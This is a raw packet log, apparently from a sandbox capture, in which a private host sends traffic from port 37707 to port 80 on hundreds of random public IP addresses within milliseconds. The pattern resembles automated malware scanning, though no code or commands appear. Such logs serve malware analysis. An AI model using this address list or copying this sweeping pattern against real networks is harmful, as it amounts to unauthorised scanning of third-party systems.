Dec 3, 2024 22:16:44.601491928 CET	80	37707	171.102.234.99	192.168.2.23
Dec 3, 2024 22:16:44.601494074 CET	37707	80	192.168.2.23	107.238.244.171
Dec 3, 2024 22:16:44.601500034 CET	80	37707	92.185.67.49	192.168.2.23
Dec 3, 2024 22:16:44.601507902 CET	80	37707	202.253.53.205	192.168.2.23
Dec 3, 2024 22:16:44.601516008 CET	80	37707	91.73.213.192	192.168.2.23
Dec 3, 2024 22:16:44.601524115 CET	80	37707	152.123.226.143	192.168.2.23
Dec 3, 2024 22:16:44.601531029 CET	80	37707	189.156.120.97	192.168.2.23
Dec 3, 2024 22:16:44.601532936 CET	37707	80	192.168.2.23	171.102.234.99
Dec 3, 2024 22:16:44.601532936 CET	37707	80	192.168.2.23	92.185.67.49
Dec 3, 2024 22:16:44.601538897 CET	80	37707	190.20.250.216	192.168.2.23
Dec 3, 2024 22:16:44.601557970 CET	37707	80	192.168.2.23	202.253.53.205
Dec 3, 2024 22:16:44.601557970 CET	37707	80	192.168.2.23	91.73.213.192
Dec 3, 2024 22:16:44.601557970 CET	37707	80	192.168.2.23	152.123.226.143
Dec 3, 2024 22:16:44.601557970 CET	37707	80	192.168.2.23	189.156.120.97
Dec 3, 2024 22:16:44.601577044 CET	37707	80	192.168.2.23	190.20.250.216
Dec 3, 2024 22:16:44.601973057 CET	80	37707	162.80.76.154	192.168.2.23
Dec 3, 2024 22:16:44.601980925 CET	80	37707	109.90.190.100	192.168.2.23
Dec 3, 2024 22:16:44.601989031 CET	80	37707	94.51.190.154	192.168.2.23
Dec 3, 2024 22:16:44.601993084 CET	80	37707	124.155.157.214	192.168.2.23
Dec 3, 2024 22:16:44.602000952 CET	80	37707	218.175.211.74	192.168.2.23
Dec 3, 2024 22:16:44.602019072 CET	37707	80	192.168.2.23	162.80.76.154
Dec 3, 2024 22:16:44.602019072 CET	37707	80	192.168.2.23	109.90.190.100
Dec 3, 2024 22:16:44.602020025 CET	80	37707	98.21.159.182	192.168.2.23
Dec 3, 2024 22:16:44.602029085 CET	80	37707	107.5.96.55	192.168.2.23
Dec 3, 2024 22:16:44.602032900 CET	37707	80	192.168.2.23	124.155.157.214
Dec 3, 2024 22:16:44.602035046 CET	37707	80	192.168.2.23	94.51.190.154
Dec 3, 2024 22:16:44.602037907 CET	80	37707	129.42.41.141	192.168.2.23
Dec 3, 2024 22:16:44.602036953 CET	37707	80	192.168.2.23	218.175.211.74
Dec 3, 2024 22:16:44.602049112 CET	37707	80	192.168.2.23	98.21.159.182
Dec 3, 2024 22:16:44.602057934 CET	37707	80	192.168.2.23	107.5.96.55
Dec 3, 2024 22:16:44.602058887 CET	80	37707	178.71.85.20	192.168.2.23
Dec 3, 2024 22:16:44.602067947 CET	80	37707	123.186.120.110	192.168.2.23
Dec 3, 2024 22:16:44.602071047 CET	37707	80	192.168.2.23	129.42.41.141
Dec 3, 2024 22:16:44.602077961 CET	80	37707	153.253.14.89	192.168.2.23
Dec 3, 2024 22:16:44.602087021 CET	80	37707	195.165.1.40	192.168.2.23
Dec 3, 2024 22:16:44.602093935 CET	37707	80	192.168.2.23	178.71.85.20
Dec 3, 2024 22:16:44.602094889 CET	80	37707	87.28.105.141	192.168.2.23
Dec 3, 2024 22:16:44.602099895 CET	37707	80	192.168.2.23	123.186.120.110
Dec 3, 2024 22:16:44.602107048 CET	80	37707	109.9.5.181	192.168.2.23
Dec 3, 2024 22:16:44.602108955 CET	37707	80	192.168.2.23	153.253.14.89
Dec 3, 2024 22:16:44.602123976 CET	80	37707	121.111.108.142	192.168.2.23
Dec 3, 2024 22:16:44.602125883 CET	37707	80	192.168.2.23	195.165.1.40
Dec 3, 2024 22:16:44.602125883 CET	37707	80	192.168.2.23	87.28.105.141
Dec 3, 2024 22:16:44.602134943 CET	80	37707	174.90.158.108	192.168.2.23
Dec 3, 2024 22:16:44.602140903 CET	37707	80	192.168.2.23	109.9.5.181
Dec 3, 2024 22:16:44.602144003 CET	80	37707	42.232.253.79	192.168.2.23
Dec 3, 2024 22:16:44.602148056 CET	80	37707	76.6.245.80	192.168.2.23
Dec 3, 2024 22:16:44.602155924 CET	80	37707	145.170.189.129	192.168.2.23
Dec 3, 2024 22:16:44.602164984 CET	80	37707	167.194.161.113	192.168.2.23
Dec 3, 2024 22:16:44.602174997 CET	37707	80	192.168.2.23	174.90.158.108
Dec 3, 2024 22:16:44.602175951 CET	37707	80	192.168.2.23	121.111.108.142
Dec 3, 2024 22:16:44.602178097 CET	80	37707	162.221.103.138	192.168.2.23
Dec 3, 2024 22:16:44.602190971 CET	80	37707	131.189.168.238	192.168.2.23
Dec 3, 2024 22:16:44.602191925 CET	37707	80	192.168.2.23	145.170.189.129
Dec 3, 2024 22:16:44.602191925 CET	37707	80	192.168.2.23	42.232.253.79
Dec 3, 2024 22:16:44.602191925 CET	37707	80	192.168.2.23	76.6.245.80
Dec 3, 2024 22:16:44.602195978 CET	37707	80	192.168.2.23	167.194.161.113
Dec 3, 2024 22:16:44.602199078 CET	80	37707	169.218.77.103	192.168.2.23
Dec 3, 2024 22:16:44.602209091 CET	80	37707	48.202.61.101	192.168.2.23
Dec 3, 2024 22:16:44.602216005 CET	37707	80	192.168.2.23	162.221.103.138
Dec 3, 2024 22:16:44.602216005 CET	80	37707	161.73.5.251	192.168.2.23
Dec 3, 2024 22:16:44.602216005 CET	37707	80	192.168.2.23	131.189.168.238
Dec 3, 2024 22:16:44.602226019 CET	80	37707	71.38.38.83	192.168.2.23
Dec 3, 2024 22:16:44.602226973 CET	37707	80	192.168.2.23	169.218.77.103
Dec 3, 2024 22:16:44.602237940 CET	37707	80	192.168.2.23	48.202.61.101
Dec 3, 2024 22:16:44.602240086 CET	80	37707	126.31.137.32	192.168.2.23
Dec 3, 2024 22:16:44.602248907 CET	80	37707	179.63.218.38	192.168.2.23
Dec 3, 2024 22:16:44.602257013 CET	37707	80	192.168.2.23	161.73.5.251
Dec 3, 2024 22:16:44.602257013 CET	37707	80	192.168.2.23	71.38.38.83
Dec 3, 2024 22:16:44.602271080 CET	37707	80	192.168.2.23	126.31.137.32
Dec 3, 2024 22:16:44.602371931 CET	80	37707	201.10.9.139	192.168.2.23
Dec 3, 2024 22:16:44.602380991 CET	80	37707	40.36.55.146	192.168.2.23
Dec 3, 2024 22:16:44.602390051 CET	80	37707	35.93.15.89	192.168.2.23
Dec 3, 2024 22:16:44.602397919 CET	80	37707	160.195.61.149	192.168.2.23
Dec 3, 2024 22:16:44.602402925 CET	37707	80	192.168.2.23	179.63.218.38
Dec 3, 2024 22:16:44.602411985 CET	37707	80	192.168.2.23	201.10.9.139
Dec 3, 2024 22:16:44.602416992 CET	37707	80	192.168.2.23	35.93.15.89
Dec 3, 2024 22:16:44.602417946 CET	37707	80	192.168.2.23	40.36.55.146
Dec 3, 2024 22:16:44.602435112 CET	37707	80	192.168.2.23	160.195.61.149
Dec 3, 2024 22:16:44.711333990 CET	80	37707	196.26.82.104	192.168.2.23
Dec 3, 2024 22:16:44.711349964 CET	80	37707	47.94.166.229	192.168.2.23
Dec 3, 2024 22:16:44.711360931 CET	80	37707	90.175.24.8	192.168.2.23
Dec 3, 2024 22:16:44.711474895 CET	37707	80	192.168.2.23	47.94.166.229
Dec 3, 2024 22:16:44.711484909 CET	37707	80	192.168.2.23	196.26.82.104
Dec 3, 2024 22:16:44.711486101 CET	37707	80	192.168.2.23	90.175.24.8
Dec 3, 2024 22:16:44.711606026 CET	80	37707	197.9.21.220	192.168.2.23
Dec 3, 2024 22:16:44.711653948 CET	37707	80	192.168.2.23	197.9.21.220
Dec 3, 2024 22:16:44.711694956 CET	80	37707	217.130.206.6	192.168.2.23
Dec 3, 2024 22:16:44.711750984 CET	37707	80	192.168.2.23	217.130.206.6
Dec 3, 2024 22:16:44.711752892 CET	80	37707	58.103.216.145	192.168.2.23
Dec 3, 2024 22:16:44.711761951 CET	80	37707	221.77.169.194	192.168.2.23
Dec 3, 2024 22:16:44.711771965 CET	80	37707	142.153.85.97	192.168.2.23
Dec 3, 2024 22:16:44.711788893 CET	37707	80	192.168.2.23	58.103.216.145
Dec 3, 2024 22:16:44.711795092 CET	37707	80	192.168.2.23	221.77.169.194
Dec 3, 2024 22:16:44.711800098 CET	37707	80	192.168.2.23	142.153.85.97
Dec 3, 2024 22:16:44.711801052 CET	80	37707	114.179.187.37	192.168.2.23
Dec 3, 2024 22:16:44.711847067 CET	37707	80	192.168.2.23	114.179.187.37
Dec 3, 2024 22:16:44.711874008 CET	80	37707	220.92.43.209	192.168.2.23
Dec 3, 2024 22:16:44.711890936 CET	80	37707	48.129.52.29	192.168.2.23
Dec 3, 2024 22:16:44.711914062 CET	37707	80	192.168.2.23	220.92.43.209
Dec 3, 2024 22:16:44.711922884 CET	37707	80	192.168.2.23	48.129.52.29
Dec 3, 2024 22:16:44.711990118 CET	80	37707	177.62.169.85	192.168.2.23
Dec 3, 2024 22:16:44.712030888 CET	37707	80	192.168.2.23	177.62.169.85
Dec 3, 2024 22:16:44.712052107 CET	80	37707	43.44.140.23	192.168.2.23
Dec 3, 2024 22:16:44.712076902 CET	80	37707	119.213.252.117	192.168.2.23
Dec 3, 2024 22:16:44.712091923 CET	37707	80	192.168.2.23	43.44.140.23
Dec 3, 2024 22:16:44.712097883 CET	80	37707	145.188.164.165	192.168.2.23
Dec 3, 2024 22:16:44.712111950 CET	37707	80	192.168.2.23	119.213.252.117
Dec 3, 2024 22:16:44.712132931 CET	37707	80	192.168.2.23	145.188.164.165
Dec 3, 2024 22:16:44.712136030 CET	80	37707	48.215.82.72	192.168.2.23
Dec 3, 2024 22:16:44.712177038 CET	37707	80	192.168.2.23	48.215.82.72
Dec 3, 2024 22:16:44.712188959 CET	80	37707	53.67.215.76	192.168.2.23
Dec 3, 2024 22:16:44.712198973 CET	80	37707	5.183.115.119	192.168.2.23
Dec 3, 2024 22:16:44.712227106 CET	37707	80	192.168.2.23	53.67.215.76
Dec 3, 2024 22:16:44.712236881 CET	37707	80	192.168.2.23	5.183.115.119
Dec 3, 2024 22:16:44.712305069 CET	80	37707	85.191.63.19	192.168.2.23
Dec 3, 2024 22:16:44.712313890 CET	80	37707	103.72.80.161	192.168.2.23
Dec 3, 2024 22:16:44.712322950 CET	80	37707	193.120.190.252	192.168.2.23
Dec 3, 2024 22:16:44.712332964 CET	80	37707	25.129.217.78	192.168.2.23
Dec 3, 2024 22:16:44.712343931 CET	37707	80	192.168.2.23	103.72.80.161
Dec 3, 2024 22:16:44.712347031 CET	37707	80	192.168.2.23	85.191.63.19
Dec 3, 2024 22:16:44.712352991 CET	37707	80	192.168.2.23	193.120.190.252
Dec 3, 2024 22:16:44.712362051 CET	37707	80	192.168.2.23	25.129.217.78
Dec 3, 2024 22:16:44.712446928 CET	80	37707	109.112.31.228	192.168.2.23
Dec 3, 2024 22:16:44.712455988 CET	80	37707	110.185.58.110	192.168.2.23
Dec 3, 2024 22:16:44.712464094 CET	80	37707	8.248.248.115	192.168.2.23
Dec 3, 2024 22:16:44.712471962 CET	80	37707	89.100.64.203	192.168.2.23
Dec 3, 2024 22:16:44.712487936 CET	37707	80	192.168.2.23	109.112.31.228
Dec 3, 2024 22:16:44.712487936 CET	37707	80	192.168.2.23	8.248.248.115
Dec 3, 2024 22:16:44.712487936 CET	37707	80	192.168.2.23	110.185.58.110
Dec 3, 2024 22:16:44.712505102 CET	37707	80	192.168.2.23	89.100.64.203
Dec 3, 2024 22:16:44.712549925 CET	80	37707	77.34.105.218	192.168.2.23
Dec 3, 2024 22:16:44.712579966 CET	80	37707	103.173.48.41	192.168.2.23
Dec 3, 2024 22:16:44.712589979 CET	37707	80	192.168.2.23	77.34.105.218
Dec 3, 2024 22:16:44.712615967 CET	37707	80	192.168.2.23	103.173.48.41
Dec 3, 2024 22:16:44.713506937 CET	80	37707	175.230.93.244	192.168.2.23
Dec 3, 2024 22:16:44.713551044 CET	37707	80	192.168.2.23	175.230.93.244
Dec 3, 2024 22:16:44.713560104 CET	80	37707	94.74.152.44	192.168.2.23
Dec 3, 2024 22:16:44.713598967 CET	37707	80	192.168.2.23	94.74.152.44
Dec 3, 2024 22:16:44.713612080 CET	80	37707	183.1.169.38	192.168.2.23
Dec 3, 2024 22:16:44.713627100 CET	80	37707	185.94.73.23	192.168.2.23
Dec 3, 2024 22:16:44.713638067 CET	80	37707	47.52.132.162	192.168.2.23
Dec 3, 2024 22:16:44.713654041 CET	80	37707	112.166.108.108	192.168.2.23
Dec 3, 2024 22:16:44.713653088 CET	37707	80	192.168.2.23	183.1.169.38
Dec 3, 2024 22:16:44.713660955 CET	37707	80	192.168.2.23	185.94.73.23
Dec 3, 2024 22:16:44.713674068 CET	37707	80	192.168.2.23	47.52.132.162
Dec 3, 2024 22:16:44.713692904 CET	37707	80	192.168.2.23	112.166.108.108
Dec 3, 2024 22:16:44.713726044 CET	80	37707	76.53.242.107	192.168.2.23
Dec 3, 2024 22:16:44.713735104 CET	80	37707	57.52.102.210	192.168.2.23
Dec 3, 2024 22:16:44.713742971 CET	80	37707	8.19.230.153	192.168.2.23
Dec 3, 2024 22:16:44.713764906 CET	37707	80	192.168.2.23	76.53.242.107
Dec 3, 2024 22:16:44.713766098 CET	37707	80	192.168.2.23	57.52.102.210
Dec 3, 2024 22:16:44.713776112 CET	37707	80	192.168.2.23	8.19.230.153
Dec 3, 2024 22:16:44.713825941 CET	80	37707	155.122.13.6	192.168.2.23
Dec 3, 2024 22:16:44.713835001 CET	80	37707	150.154.10.246	192.168.2.23
Dec 3, 2024 22:16:44.713844061 CET	80	37707	201.180.56.99	192.168.2.23
Dec 3, 2024 22:16:44.713866949 CET	37707	80	192.168.2.23	155.122.13.6
Dec 3, 2024 22:16:44.713866949 CET	37707	80	192.168.2.23	150.154.10.246
Dec 3, 2024 22:16:44.713879108 CET	37707	80	192.168.2.23	201.180.56.99
Dec 3, 2024 22:16:44.713953972 CET	80	37707	96.252.253.9	192.168.2.23
Dec 3, 2024 22:16:44.713967085 CET	80	37707	60.183.215.52	192.168.2.23
Dec 3, 2024 22:16:44.713975906 CET	80	37707	99.168.192.160	192.168.2.23
Dec 3, 2024 22:16:44.713984966 CET	80	37707	182.60.255.223	192.168.2.23
Dec 3, 2024 22:16:44.713990927 CET	37707	80	192.168.2.23	96.252.253.9
Dec 3, 2024 22:16:44.713995934 CET	37707	80	192.168.2.23	60.183.215.52
Dec 3, 2024 22:16:44.714010000 CET	37707	80	192.168.2.23	99.168.192.160
Dec 3, 2024 22:16:44.714010954 CET	80	37707	105.18.204.75	192.168.2.23
Dec 3, 2024 22:16:44.714019060 CET	37707	80	192.168.2.23	182.60.255.223
Dec 3, 2024 22:16:44.714023113 CET	80	37707	41.194.56.106	192.168.2.23
Dec 3, 2024 22:16:44.714037895 CET	80	37707	196.191.13.108	192.168.2.23
Dec 3, 2024 22:16:44.714046001 CET	80	37707	74.178.109.36	192.168.2.23
Dec 3, 2024 22:16:44.714050055 CET	37707	80	192.168.2.23	105.18.204.75
Dec 3, 2024 22:16:44.714050055 CET	37707	80	192.168.2.23	41.194.56.106
Dec 3, 2024 22:16:44.714066982 CET	37707	80	192.168.2.23	196.191.13.108
Dec 3, 2024 22:16:44.714082003 CET	80	37707	59.170.178.123	192.168.2.23
Dec 3, 2024 22:16:44.714086056 CET	37707	80	192.168.2.23	74.178.109.36
Dec 3, 2024 22:16:44.714118004 CET	80	37707	160.113.50.237	192.168.2.23
Dec 3, 2024 22:16:44.714118958 CET	37707	80	192.168.2.23	59.170.178.123
Dec 3, 2024 22:16:44.714152098 CET	80	37707	61.138.175.216	192.168.2.23
Dec 3, 2024 22:16:44.714154959 CET	37707	80	192.168.2.23	160.113.50.237
Dec 3, 2024 22:16:44.714173079 CET	80	37707	52.172.169.33	192.168.2.23
Dec 3, 2024 22:16:44.714189053 CET	37707	80	192.168.2.23	61.138.175.216
Dec 3, 2024 22:16:44.714206934 CET	37707	80	192.168.2.23	52.172.169.33
Dec 3, 2024 22:16:44.714225054 CET	80	37707	133.168.2.211	192.168.2.23
Dec 3, 2024 22:16:44.714255095 CET	80	37707	27.102.154.163	192.168.2.23
Dec 3, 2024 22:16:44.714262962 CET	37707	80	192.168.2.23	133.168.2.211
Dec 3, 2024 22:16:44.714291096 CET	37707	80	192.168.2.23	27.102.154.163
Dec 3, 2024 22:16:44.714292049 CET	80	37707	101.43.189.233	192.168.2.23
Dec 3, 2024 22:16:44.714307070 CET	80	37707	132.179.205.163	192.168.2.23
Dec 3, 2024 22:16:44.714330912 CET	37707	80	192.168.2.23	101.43.189.233
Dec 3, 2024 22:16:44.714345932 CET	37707	80	192.168.2.23	132.179.205.163
Dec 3, 2024 22:16:44.715042114 CET	80	37707	70.188.177.73	192.168.2.23
Dec 3, 2024 22:16:44.715085030 CET	37707	80	192.168.2.23	70.188.177.73
Dec 3, 2024 22:16:44.715112925 CET	80	37707	96.232.238.137	192.168.2.23
Dec 3, 2024 22:16:44.715122938 CET	80	37707	69.188.214.185	192.168.2.23
Dec 3, 2024 22:16:44.715131998 CET	80	37707	143.27.160.144	192.168.2.23
Dec 3, 2024 22:16:44.715152025 CET	37707	80	192.168.2.23	96.232.238.137
Dec 3, 2024 22:16:44.715157032 CET	37707	80	192.168.2.23	69.188.214.185
Dec 3, 2024 22:16:44.715158939 CET	37707	80	192.168.2.23	143.27.160.144
Dec 3, 2024 22:16:44.715215921 CET	80	37707	77.72.243.248	192.168.2.23
Dec 3, 2024 22:16:44.715225935 CET	80	37707	12.76.97.220	192.168.2.23
Dec 3, 2024 22:16:44.715234041 CET	80	37707	42.58.131.147	192.168.2.23
Dec 3, 2024 22:16:44.715243101 CET	80	37707	221.22.175.89	192.168.2.23
Dec 3, 2024 22:16:44.715250015 CET	80	37707	221.68.129.44	192.168.2.23
Dec 3, 2024 22:16:44.715253115 CET	37707	80	192.168.2.23	77.72.243.248
Dec 3, 2024 22:16:44.715255976 CET	37707	80	192.168.2.23	12.76.97.220
Dec 3, 2024 22:16:44.715257883 CET	80	37707	41.220.237.167	192.168.2.23
Dec 3, 2024 22:16:44.715265036 CET	37707	80	192.168.2.23	221.22.175.89
Dec 3, 2024 22:16:44.715267897 CET	80	37707	196.8.161.238	192.168.2.23
Dec 3, 2024 22:16:44.715270042 CET	37707	80	192.168.2.23	42.58.131.147
Dec 3, 2024 22:16:44.715275049 CET	37707	80	192.168.2.23	221.68.129.44
Dec 3, 2024 22:16:44.715280056 CET	80	37707	177.73.1.196	192.168.2.23
Dec 3, 2024 22:16:44.715291023 CET	37707	80	192.168.2.23	41.220.237.167
Dec 3, 2024 22:16:44.715291023 CET	37707	80	192.168.2.23	196.8.161.238
Dec 3, 2024 22:16:44.715298891 CET	80	37707	198.240.178.191	192.168.2.23
Dec 3, 2024 22:16:44.715307951 CET	80	37707	213.118.10.33	192.168.2.23
Dec 3, 2024 22:16:44.715308905 CET	37707	80	192.168.2.23	177.73.1.196
Dec 3, 2024 22:16:44.715317011 CET	80	37707	188.22.172.235	192.168.2.23
Dec 3, 2024 22:16:44.715327978 CET	80	37707	166.188.168.48	192.168.2.23
Dec 3, 2024 22:16:44.715337992 CET	80	37707	65.241.141.227	192.168.2.23
Dec 3, 2024 22:16:44.715342999 CET	37707	80	192.168.2.23	213.118.10.33
Dec 3, 2024 22:16:44.715342999 CET	37707	80	192.168.2.23	198.240.178.191
Dec 3, 2024 22:16:44.715347052 CET	80	37707	210.63.194.255	192.168.2.23
Dec 3, 2024 22:16:44.715352058 CET	37707	80	192.168.2.23	166.188.168.48
Dec 3, 2024 22:16:44.715354919 CET	37707	80	192.168.2.23	188.22.172.235
Dec 3, 2024 22:16:44.715357065 CET	80	37707	146.163.238.49	192.168.2.23
Dec 3, 2024 22:16:44.715364933 CET	37707	80	192.168.2.23	65.241.141.227
Dec 3, 2024 22:16:44.715365887 CET	80	37707	164.92.127.17	192.168.2.23
Dec 3, 2024 22:16:44.715374947 CET	80	37707	185.41.36.11	192.168.2.23
Dec 3, 2024 22:16:44.715377092 CET	37707	80	192.168.2.23	210.63.194.255
Dec 3, 2024 22:16:44.715395927 CET	37707	80	192.168.2.23	146.163.238.49
Dec 3, 2024 22:16:44.715398073 CET	37707	80	192.168.2.23	164.92.127.17
Dec 3, 2024 22:16:44.715404987 CET	80	37707	152.207.107.162	192.168.2.23
Dec 3, 2024 22:16:44.715408087 CET	37707	80	192.168.2.23	185.41.36.11
Dec 3, 2024 22:16:44.715445042 CET	37707	80	192.168.2.23	152.207.107.162
Dec 3, 2024 22:16:44.715446949 CET	80	37707	64.75.137.197	192.168.2.23
Dec 3, 2024 22:16:44.715456009 CET	80	37707	198.189.52.111	192.168.2.23
Dec 3, 2024 22:16:44.715471029 CET	80	37707	197.224.95.243	192.168.2.23
Dec 3, 2024 22:16:44.715486050 CET	37707	80	192.168.2.23	198.189.52.111
Dec 3, 2024 22:16:44.715487003 CET	37707	80	192.168.2.23	64.75.137.197
Dec 3, 2024 22:16:44.715503931 CET	80	37707	25.2.72.203	192.168.2.23
Dec 3, 2024 22:16:44.715504885 CET	37707	80	192.168.2.23	197.224.95.243
Dec 3, 2024 22:16:44.715513945 CET	80	37707	41.253.205.160	192.168.2.23
Dec 3, 2024 22:16:44.715523958 CET	80	37707	50.127.176.8	192.168.2.23
Dec 3, 2024 22:16:44.715540886 CET	37707	80	192.168.2.23	41.253.205.160
Dec 3, 2024 22:16:44.715542078 CET	37707	80	192.168.2.23	25.2.72.203
Dec 3, 2024 22:16:44.715562105 CET	37707	80	192.168.2.23	50.127.176.8
Dec 3, 2024 22:16:44.716336012 CET	80	37707	40.34.156.234	192.168.2.23
Dec 3, 2024 22:16:44.716345072 CET	80	37707	107.198.51.255	192.168.2.23
Dec 3, 2024 22:16:44.716352940 CET	80	37707	51.84.0.108	192.168.2.23
Dec 3, 2024 22:16:44.716377020 CET	37707	80	192.168.2.23	40.34.156.234
Dec 3, 2024 22:16:44.716379881 CET	37707	80	192.168.2.23	107.198.51.255
Dec 3, 2024 22:16:44.716399908 CET	37707	80	192.168.2.23	51.84.0.108
Dec 3, 2024 22:16:44.716417074 CET	80	37707	175.100.148.195	192.168.2.23
Dec 3, 2024 22:16:44.716427088 CET	80	37707	179.75.138.93	192.168.2.23
Dec 3, 2024 22:16:44.716434002 CET	80	37707	142.236.85.207	192.168.2.23
Dec 3, 2024 22:16:44.716443062 CET	80	37707	71.20.16.111	192.168.2.23
Dec 3, 2024 22:16:44.716453075 CET	80	37707	134.144.146.72	192.168.2.23
Dec 3, 2024 22:16:44.716454029 CET	37707	80	192.168.2.23	179.75.138.93
Dec 3, 2024 22:16:44.716458082 CET	37707	80	192.168.2.23	175.100.148.195
Dec 3, 2024 22:16:44.716459990 CET	37707	80	192.168.2.23	142.236.85.207
Dec 3, 2024 22:16:44.716461897 CET	80	37707	77.227.238.117	192.168.2.23
Dec 3, 2024 22:16:44.716469049 CET	37707	80	192.168.2.23	71.20.16.111
Dec 3, 2024 22:16:44.716480017 CET	80	37707	96.103.251.7	192.168.2.23
Dec 3, 2024 22:16:44.716487885 CET	37707	80	192.168.2.23	134.144.146.72
Dec 3, 2024 22:16:44.716490984 CET	37707	80	192.168.2.23	77.227.238.117
Dec 3, 2024 22:16:44.716517925 CET	37707	80	192.168.2.23	96.103.251.7
Dec 3, 2024 22:16:44.716564894 CET	80	37707	134.93.50.7	192.168.2.23
Dec 3, 2024 22:16:44.716603994 CET	37707	80	192.168.2.23	134.93.50.7
Dec 3, 2024 22:16:44.716650963 CET	80	37707	186.174.127.187	192.168.2.23
Dec 3, 2024 22:16:44.716669083 CET	80	37707	108.80.191.9	192.168.2.23
Dec 3, 2024 22:16:44.716677904 CET	80	37707	121.82.212.142	192.168.2.23
Dec 3, 2024 22:16:44.716686010 CET	80	37707	131.162.209.130	192.168.2.23
Dec 3, 2024 22:16:44.716687918 CET	37707	80	192.168.2.23	186.174.127.187
Dec 3, 2024 22:16:44.716701984 CET	37707	80	192.168.2.23	108.80.191.9
Dec 3, 2024 22:16:44.716705084 CET	37707	80	192.168.2.23	121.82.212.142
Dec 3, 2024 22:16:44.716726065 CET	37707	80	192.168.2.23	131.162.209.130
Dec 3, 2024 22:16:44.716737032 CET	80	37707	137.13.44.200	192.168.2.23
Dec 3, 2024 22:16:44.716746092 CET	80	37707	80.77.93.39	192.168.2.23
Dec 3, 2024 22:16:44.716753960 CET	80	37707	90.91.90.134	192.168.2.23
Dec 3, 2024 22:16:44.716767073 CET	80	37707	170.98.124.122	192.168.2.23
Dec 3, 2024 22:16:44.716782093 CET	37707	80	192.168.2.23	137.13.44.200
Dec 3, 2024 22:16:44.716784000 CET	80	37707	209.213.220.28	192.168.2.23
Dec 3, 2024 22:16:44.716783047 CET	37707	80	192.168.2.23	80.77.93.39
Dec 3, 2024 22:16:44.716783047 CET	37707	80	192.168.2.23	90.91.90.134
Dec 3, 2024 22:16:44.716794014 CET	80	37707	116.239.85.37	192.168.2.23
Dec 3, 2024 22:16:44.716803074 CET	80	37707	87.85.213.85	192.168.2.23
Dec 3, 2024 22:16:44.716804981 CET	37707	80	192.168.2.23	170.98.124.122
Dec 3, 2024 22:16:44.716810942 CET	80	37707	123.202.147.37	192.168.2.23
Dec 3, 2024 22:16:44.716820955 CET	80	37707	217.78.70.10	192.168.2.23
Dec 3, 2024 22:16:44.716825008 CET	37707	80	192.168.2.23	116.239.85.37
Dec 3, 2024 22:16:44.716825962 CET	37707	80	192.168.2.23	209.213.220.28
Dec 3, 2024 22:16:44.716839075 CET	80	37707	89.100.250.129	192.168.2.23
Dec 3, 2024 22:16:44.716840982 CET	37707	80	192.168.2.23	87.85.213.85
Dec 3, 2024 22:16:44.716845989 CET	37707	80	192.168.2.23	123.202.147.37
Dec 3, 2024 22:16:44.716850042 CET	37707	80	192.168.2.23	217.78.70.10
Dec 3, 2024 22:16:44.716855049 CET	80	37707	51.27.255.13	192.168.2.23
Dec 3, 2024 22:16:44.716873884 CET	37707	80	192.168.2.23	89.100.250.129
Dec 3, 2024 22:16:44.716887951 CET	37707	80	192.168.2.23	51.27.255.13
Dec 3, 2024 22:16:44.716921091 CET	80	37707	221.189.94.26	192.168.2.23
Dec 3, 2024 22:16:44.716931105 CET	80	37707	9.71.85.112	192.168.2.23
Dec 3, 2024 22:16:44.716963053 CET	37707	80	192.168.2.23	221.189.94.26
Dec 3, 2024 22:16:44.716964960 CET	37707	80	192.168.2.23	9.71.85.112
Dec 3, 2024 22:16:44.717905045 CET	80	37707	82.153.70.125	192.168.2.23
Dec 3, 2024 22:16:44.717945099 CET	37707	80	192.168.2.23	82.153.70.125
Dec 3, 2024 22:16:44.718015909 CET	80	37707	195.31.78.44	192.168.2.23
Dec 3, 2024 22:16:44.718039989 CET	80	37707	157.1.46.23	192.168.2.23
Dec 3, 2024 22:16:44.718055010 CET	37707	80	192.168.2.23	195.31.78.44
Dec 3, 2024 22:16:44.718075037 CET	37707	80	192.168.2.23	157.1.46.23
Dec 3, 2024 22:16:44.718106031 CET	80	37707	217.141.179.124	192.168.2.23
Dec 3, 2024 22:16:44.718121052 CET	80	37707	31.196.148.204	192.168.2.23
Dec 3, 2024 22:16:44.718138933 CET	80	37707	23.16.252.12	192.168.2.23
Dec 3, 2024 22:16:44.718141079 CET	37707	80	192.168.2.23	217.141.179.124
Dec 3, 2024 22:16:44.718158007 CET	37707	80	192.168.2.23	31.196.148.204
Dec 3, 2024 22:16:44.718177080 CET	37707	80	192.168.2.23	23.16.252.12
Dec 3, 2024 22:16:44.718183994 CET	80	37707	139.115.160.196	192.168.2.23
Dec 3, 2024 22:16:44.718193054 CET	80	37707	189.200.92.22	192.168.2.23
Dec 3, 2024 22:16:44.718220949 CET	37707	80	192.168.2.23	189.200.92.22
Dec 3, 2024 22:16:44.718224049 CET	37707	80	192.168.2.23	139.115.160.196
Dec 3, 2024 22:16:44.718350887 CET	80	37707	116.21.12.27	192.168.2.23
Dec 3, 2024 22:16:44.718393087 CET	37707	80	192.168.2.23	116.21.12.27
Dec 3, 2024 22:16:44.718403101 CET	80	37707	68.66.52.81	192.168.2.23
Dec 3, 2024 22:16:44.718411922 CET	80	37707	220.134.6.145	192.168.2.23
Dec 3, 2024 22:16:44.718419075 CET	80	37707	27.148.171.190	192.168.2.23
Dec 3, 2024 22:16:44.718431950 CET	80	37707	137.154.251.112	192.168.2.23
Dec 3, 2024 22:16:44.718444109 CET	37707	80	192.168.2.23	68.66.52.81
Dec 3, 2024 22:16:44.718444109 CET	37707	80	192.168.2.23	220.134.6.145
Dec 3, 2024 22:16:44.718451023 CET	37707	80	192.168.2.23	27.148.171.190
Dec 3, 2024 22:16:44.718468904 CET	37707	80	192.168.2.23	137.154.251.112
Dec 3, 2024 22:16:44.718518019 CET	80	37707	185.164.14.161	192.168.2.23
Dec 3, 2024 22:16:44.718556881 CET	37707	80	192.168.2.23	185.164.14.161
Dec 3, 2024 22:16:44.718559980 CET	80	37707	205.119.106.90	192.168.2.23
Dec 3, 2024 22:16:44.718569040 CET	80	37707	156.9.85.71	192.168.2.23
Dec 3, 2024 22:16:44.718599081 CET	37707	80	192.168.2.23	156.9.85.71
Dec 3, 2024 22:16:44.718601942 CET	37707	80	192.168.2.23	205.119.106.90
Dec 3, 2024 22:16:44.718606949 CET	80	37707	171.18.252.125	192.168.2.23
Dec 3, 2024 22:16:44.718616962 CET	80	37707	182.255.176.92	192.168.2.23
Dec 3, 2024 22:16:44.718625069 CET	80	37707	203.59.48.86	192.168.2.23
Dec 3, 2024 22:16:44.718633890 CET	80	37707	100.159.183.251	192.168.2.23
Dec 3, 2024 22:16:44.718643904 CET	80	37707	192.49.220.160	192.168.2.23
